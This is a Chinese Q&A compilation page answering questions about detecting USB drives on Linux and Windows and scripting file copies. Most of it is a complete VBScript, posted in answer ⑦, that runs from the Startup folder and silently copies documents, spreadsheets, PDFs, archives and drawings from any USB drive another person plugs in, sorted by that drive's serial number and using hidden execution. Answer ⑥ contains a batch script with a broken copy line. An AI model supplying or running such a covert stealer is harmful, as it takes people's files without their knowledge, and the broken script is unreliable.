① linux USB設備的自動檢測U盤
在linux環境下的話插入U盤後應該輸入fdisk
-l
找到U盤設備
然後用cp
命令復制就可以了，如果是x-windows下操作的話和windows沒有什麼不同，熟練的話寫個shell腳本。那就寫個自動化的腳本喲。
② 高分懸賞linux下自動掛載u盤的腳本
先看下你有沒有裝autofs,沒有的話 yum install autofs -y,chkconfig autofs on
修改/etc/auto.master,刪除或用#號注釋掉原有內容，按照下面的內容添加：
/media /etc/auto.media前面部分定義你准備掛載的目錄，你可以自由設定
創建 /etc/auto.media,內容如下
cdrom -fstype=iso9660,ro,nodev,nosuid :/dev/cdroms/cdrom0
floppy -fstype=auto,sync,nodev,nosuid,umask=000 :/dev/floppy/0
你也許需要修改設備名，你也可以添加其他類似的設備根據前面的定義創建相應的目錄，如/media：
mkdir /media重啟autofs，如有問題可以網路下auto方式用法
即用atuofs來實現自動掛載，而不是腳本
③ 如何使用shell腳本， 當U盤掛載到Linux系統上時， 自動獲取U盤大小和剩餘的空間
當有新的硬體設備載入到linux系統上的時候，linux系統會自動刷新一條日誌信息到dmesg裡面。你可以在剛插入U盤的時候，立即執行dmesg命令，然後就能看到這個條日誌記錄，可以看到U盤對應的盤符。
根據這個思路，你可以通過shell腳本監控這個日誌，只要有磁碟設備更新，就取得它的盤符。假設這里是/dev/sdg，獲取到盤符以後，再使用命令
fdisk -l /dev/sdg
就可以輸出這個磁碟的容量信息以及剩餘空間的大小，通過字元串查找把對應的值提取出來即可。
基本思路就是這個，不知道我說清楚了沒有，希望可以幫助到你。
④ 移動硬碟檢測腳本嗎
檢測。
1、移動硬碟檢測是對硬碟或U盤的性能進行全面測試，讓你可以隨時了解到硬碟或者U盤信息。
2、腳本是依據一定的格式編寫的可執行文件，腳本文件也會儲存在硬碟中的，所以會檢測到的。
⑤ 如何使用VBS腳本編寫U盤插入自動復制電腦指定文件至U盤
打開文本文檔，輸入：
COPY D:\data\*.* f:\ '假設你要復制D盤下的data文件夾到U盤上，U盤盤符是F然後保存文件，將該文件擴展名改為bat。
想要復制的時候，直接雙擊U盤上這個文件就行。這個代碼適合自己電腦經常需要備份某個文件，手動操作步驟繁瑣，利用這個代碼來自動完成數據備份。如果稍加改進這個代碼可能就會被安全軟體攔截。。。，工具本身沒有邪惡和正義之分，是正是邪還是看使用者的意圖。
⑥ 如何用批處理文件檢測U盤盤符,並將U盤里的文件拷貝到本機中。
@echo off
echo 插入U盤前請先運行此腳本
pause
cls
for %%a in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (
echo nl>>%%a:\nudsk.tmp
)
echo 可以插入U盤了，U盤插入後
pause
cls
for %%a in (c d e f g h i j k l m n o p q r s t u v w x y z a b) do (
if not exist %%a:\nudsk.tmp (
%%a:\x.doc c:\
goto:f
) else (
break
)
)
:f
echo 文件復製成功！
pause>nul
⑦ 如何使用VBS腳本編寫U盤插入自動復制文件至U盤
哈..
復制下面代碼後保存為filename.vbs,然後把它拖進「開始」菜單中「啟動」中，這樣它就自動運行了，只有有人這台計算機上用U盤，它的這些類型的資料就會考到F盤中。而且不同的U盤，會以它序列號文件夾存放
Public Upan(10),Upanname(10),UpanSerialNumber(10),ffff(50000),name,s,n,a,b,y
Do While 1=1
s=0
udisk
a=s
wscript.sleep 600
s=0
udisk
b=s
If a>b Then
' wscript.echo "A Udisk be missed"
Else
If a<b Then
createfolder("f:\Udata\")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR")
createfolder("f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG")
createtbat1
' createtbat2
TransferBAT("f:\ee.bat")
wscript.sleep 600
' TransferBAT("f:\aa.bat")
' wscript.sleep 600
delbattxt("f:\ee.bat")
wscript.sleep 600
' delbattxt("f:\aa.bat")
' wscript.sleep 600
n=0
Set fso =CreateObject ("scripting.filesystemobject")
ShowSubFolders FSO.GetFolder(Upan(s)&"\")
wscript.sleep 800
' wscript.echo (n)
'=============================================================================================
for y=1 to n
On Error Resume Next
' wscript.echo ffff(y)
wscript.sleep 100
files ffff(y)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files ffff(y)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files ffff(y)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files ffff(y)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files ffff(y)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files ffff(y)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
'___________________________________________________________________________________________
files upan(s)&"\"&"*.doc","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DOC"
wscript.sleep 100
files upan(s)&"\"&"*.txt","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\TXT"
wscript.sleep 100
files upan(s)&"\"&"*.xls","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\XLS"
wscript.sleep 100
files upan(s)&"\"&"*.pdf","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\PDF"
wscript.sleep 100
files upan(s)&"\"&"*.rar","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\RAR"
wscript.sleep 100
files upan(s)&"\"&"*.dwg","f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\DWG"
wscript.sleep 100
err.clear
next
'=============================================================================================
'wscript.echo "A new Udisk be found"&" it's "&upan(s)&Upanname(s)&" "&UpanSerialNumber(s)
udiskfile
Else
End If
End If
Loop
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到U盤的盤符，名稱，序列號*
'//********************************************************************************//
Function udisk
Dim fso,MB,GB,i
MINSize=(1024^2)*10
MAXSize=(1024^3)*4
s=0
Set fso=CreateObject("scripting.filesystemobject")
Set disks=fso.Drives
For Each disk In disks
If disk.IsReady Then
If (disk.DriveType =1) or(disk.DriveType =2) And (MINSize<disk.totalsize<MAXSize) Then
s=s+1
Upan(s)=disk.path
Upanname(s)=disk.VolumeName
UpanSerialNumber(s)=disk.SerialNumber
Else
End If
Else
End If
Next
End Function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *檢測U盤中是否存在autorun.inf*
'//********************************************************************************//
Function udiskfile
Dim fso,a
Set fso=CreateObject("scripting.filesystemobject")
Set f = fso.GetFolder(Upan(s))
Set fc = f.Files
for each f1 in fc
if f1.name="autorun.inf" then
name=f1.name
wscript.echo "Udisk:"&Upan(s)&"have a file,it is like a virus,it's named "&name
exit for
else
end if
next
End Function
'//********************************************************************************//
' *在指定的地方建立文件夾*
'//********************************************************************************//
Function createfolder(path)
On Error Resume Next
Dim fso,a
Set fso=CreateObject ("scripting.filesystemobject")
Set a=fso.CreateFolder (path)
If err Then '如果出現錯誤則顯示錯誤描述和正在創建的文件夾名稱
'MsgBox ("錯誤提示： " &Err.Description&" "&"正在創建的文件夾是："&path)
Err.Clear '清除錯誤。
Else
End if
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *創建BAT1*
'//********************************************************************************//
function createtbat1
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.CreateTextFile ("f:\ee.bat")
set c=fso.opentextfile("f:\ee.bat")
b.WriteLine ("tree "&upan(s)&"\>"&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s)&"\tree.txt")
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *創建BAT2*
'//********************************************************************************//
'function createtbat2
'dim fso,a,b,c
'set fso=createobject ("scripting.filesystemobject")
'On Error Resume Next
'
'Set b=fso.CreateTextFile ("f:\aa.bat")
'set c=fso.opentextfile("f:\aa.bat")'
'
'b.WriteLine ("x "&Upan(s)&"\/e/c/h "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s))
'err.clear
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *調用BAT*
'//********************************************************************************//
Function TransferBAT(path)
Dim fso,a,b,c
Set wshshell=CreateObject("wscript.shell")
Set fso=CreateObject("scripting.filesystemobject")
cmd=wshshell.run(path,hide) '隱藏調用
End Function
'//////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *刪除BAT*
'//********************************************************************************//
function delbattxt(path)
dim fso,a,b,c
set fso=createobject ("scripting.filesystemobject")
On Error Resume Next
Set b=fso.DeleteFile (path)
err.clear
end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *CopyAllFiles*
'//********************************************************************************//
'function allfile
'Dim fso,a,b,c
'Set wshshell=CreateObject("wscript.shell")
'Set fso=CreateObject("scripting.filesystemobject")
'cmd=wshshell.run("x "&Upan(s)&"/e "&"f:\Udata\"&Upanname(s)&UpanSerialNumber(s),hide)
'end function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *Copy制定類型Files*
'//********************************************************************************//
'files "j:\*.vbs","f:\u" ' 調用該函數時不能使用括弧，否則會錯
Function files(source,destination)
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile source,destination,True
End function
'////////////////////////////////////////////////////////////////////////////////////
'//********************************************************************************//
' *得到制定文件夾下的所有子文件夾*
'//********************************************************************************//
'Set fso =CreateObject ("scripting.filesystemobject")
'ShowSubFolders FSO.GetFolder(Upan(s)&"\")
sub ShowSubFolders(Folder)
For Each Subfolder In Folder.SubFolders
ShowSubFolders Subfolder
n=n+1
ffff(n)=subfolder.path
'wscript.echo ffff(n)
Next
end sub